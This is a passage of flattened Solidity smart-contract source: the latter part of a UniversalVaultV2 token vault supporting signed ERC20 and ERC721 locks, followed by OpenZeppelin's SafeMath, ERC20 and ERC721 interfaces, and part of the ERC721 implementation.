_locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableByERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableByERC721.owner(); } /* overrides */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) { emit ERC721Received(operator, from, tokenId, data); return IERC721Receiver(0).onERC721Received.selector; } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getPermissionHashERC721( bytes32 eip712TypeHash, address delegate, address token, uint256 tokenId, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, tokenId, nonce)) ); } function getNonce() external view override returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVaultV2, OwnableByERC721) returns (address ownerAddress) { return OwnableByERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function getNumERC721TypesLocked() public view override returns (uint256 count) { return _lockedERC721Types.length(); } function getERC721TypeLockedAt(uint index) public view override returns (address token) { return _lockedERC721Types.at(index); } function getERC721LockedBalance(address token) public view override returns (uint256 balance) { return _lockedERC721s[token].length(); } function getERC721LockedAt(address token, uint index) public view override returns (uint256 tokenId) { return _lockedERC721s[token].at(index); } function getNumERC721TypesInVault() public view override returns (uint256 count) { return _vaultERC721Types.length(); } function getERC721TypeInVaultAt(uint index) public view override returns (address token) { return _vaultERC721Types.at(index); } function getERC721VaultBalance(address token) public view override returns (uint256 balance) { return _vaultERC721s[token].length(); } function getERC721InVaultAt(address token, uint index) public view override returns (uint256 tokenId) { return _vaultERC721s[token].at(index); } function checkERC20Balances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance return true return true; } function checkERC721Balances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance return false if (IERC721(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVaultV2: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } function lockERC721( address token, uint256 tokenId, bytes calldata permission ) external override onlyValidSignature( getPermissionHashERC721(LOCK_ERC721_TYPEHASH, msg.sender, token, tokenId, _nonce), permission ) { // sanity check, can't lock self require( address(tokenId) != address(this), "can't self lock" ); // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( !_lockedERC721s[token].contains(tokenId), "NFT already locked" ); _lockedERC721Types.add(token); _lockedERC721s[token].add(tokenId); // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount by 1 _locks[lockID].balance = _locks[lockID].balance.add(1); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, 1); } // increase nonce _nonce += 1; // emit event emit LockedERC721(msg.sender, token, tokenId); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // subtract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } function unlockERC721( address token, uint256 tokenId, bytes calldata permission ) external override onlyValidSignature( getPermissionHashERC721(UNLOCK_ERC721_TYPEHASH, msg.sender, token, tokenId, _nonce), permission ) { // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( _lockedERC721s[token].contains(tokenId), "NFT not locked" ); _lockedERC721s[token].remove(tokenId); if (_lockedERC721s[token].length() == 0) { _lockedERC721Types.remove(token); } _vaultERC721Types.add(token); _vaultERC721s[token].add(tokenId); // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // update lock data if (_locks[lockID].balance > 1) { // subtract 1 from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(1); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit UnlockedERC721(msg.sender, token, tokenId); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVaultV2: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVaultV2: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVaultV2: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } function transferERC721( address token, address to, uint256 tokenId ) external override onlyOwner { // validate ownership require( IERC721(token).ownerOf(tokenId) == address(this), "UniversalVaultV2: vault not owner of nft" ); require( !_lockedERC721s[token].contains(tokenId), "NFT is locked. Unlock first." ); _vaultERC721s[token].remove(tokenId); if (_vaultERC721s[token].length() == 0) { _vaultERC721Types.remove(token); } // perform transfer IERC721(token).safeTransferFrom(address(this), to, tokenId); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if 